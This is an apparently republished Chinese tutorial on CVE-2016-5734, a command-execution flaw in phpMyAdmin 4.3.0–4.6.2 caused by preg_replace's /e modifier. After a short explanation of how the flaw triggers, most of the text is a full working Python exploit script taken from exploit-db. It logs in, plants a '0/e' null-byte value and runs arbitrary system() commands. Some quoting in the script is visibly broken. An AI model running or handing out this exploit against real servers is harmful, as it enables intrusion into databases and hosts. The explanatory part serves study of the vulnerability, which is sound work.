phpstudy_php preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞

这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞，漏洞在exploit-db上有利用脚本，经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。
0x01 漏洞触发原理

preg_replace漏洞触发有两个前提：

01：第一个参数需要e标识符，有了它可以执行第二个参数的命令
02：第一个参数需要在第三个参数中的中有匹配，不然echo会返回第三个参数而不执行命令，举个例子：

//echo preg_replace("/test/e", "phpinfo()", "just test");

//这样是可以执行命令的

//echo preg_replace("/test/e", "phpinfo()", "just tesxt");

//echo preg_replace("/tesxt/e", "phpinfo()", "just test");

//这两种没有匹配上，所以返回值是第三个参数，不能执行命令
0x02 触发漏洞位置回溯

cve-2016-5734的漏洞问题出现在TableSearch.class.php中的_getRegexReplaceRows函数，让我们看看这个函数：
phpmyadmin_1
$find ,和 $replaceWith可以看到在preg_replace中被引用，让我们回溯这两个变量，在getReplacePreview中有调用_getRegexReplaceRows函数
phpmyadmin_2
继续回溯，在tbl_find_replace中有调用getReplacePreview，同时参数是post传入，下面让我们看看如何利用构造
phpmyadmin_3
0x03 构造利用

漏洞利用思路：这个漏洞目前没法直接利用，因为有token限制，需要登陆抓到token，同时需要构造第三个参数保证和第一个参数匹配上，第一个参数可控，但是第三个参数是从数据库中取出的，所以只能提前插入到数据库中，然后再取出来，columnIndex是取出字段值的可控，所以第三个参数也可控了。
流程大概走了一圈，下面看看怎么构造，首先这个漏洞需要有创建表插入字段权限的账号，这里直接用的root账号测试的，先创建个表，然后表中插入个字段值为"0/e"
phpmyadmin_4
#!/usr/bin/env python

# cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
# Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
# CVE: CVE-2016-5734
# Author: https://twitter.com/iamsecurity
# run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system("ls -lua");"
# https://www.exploit-db.com/exploits/40185/

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system("uname -a");"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it"s very simple ;)
    # s.proxies = {"http": "127.0.0.1:8080", "https": "127.0.0.1:8080"}
    s.verify = False
    sql = """CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX("302F6500"));
    """.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("")+6:]
                    error = first[:first.find("")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

phpstudy_php preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞

http://m.bbyears.com/aspjiaocheng/107854.html

推荐访问:phpstorm php面试题 php数组转字符串 php教程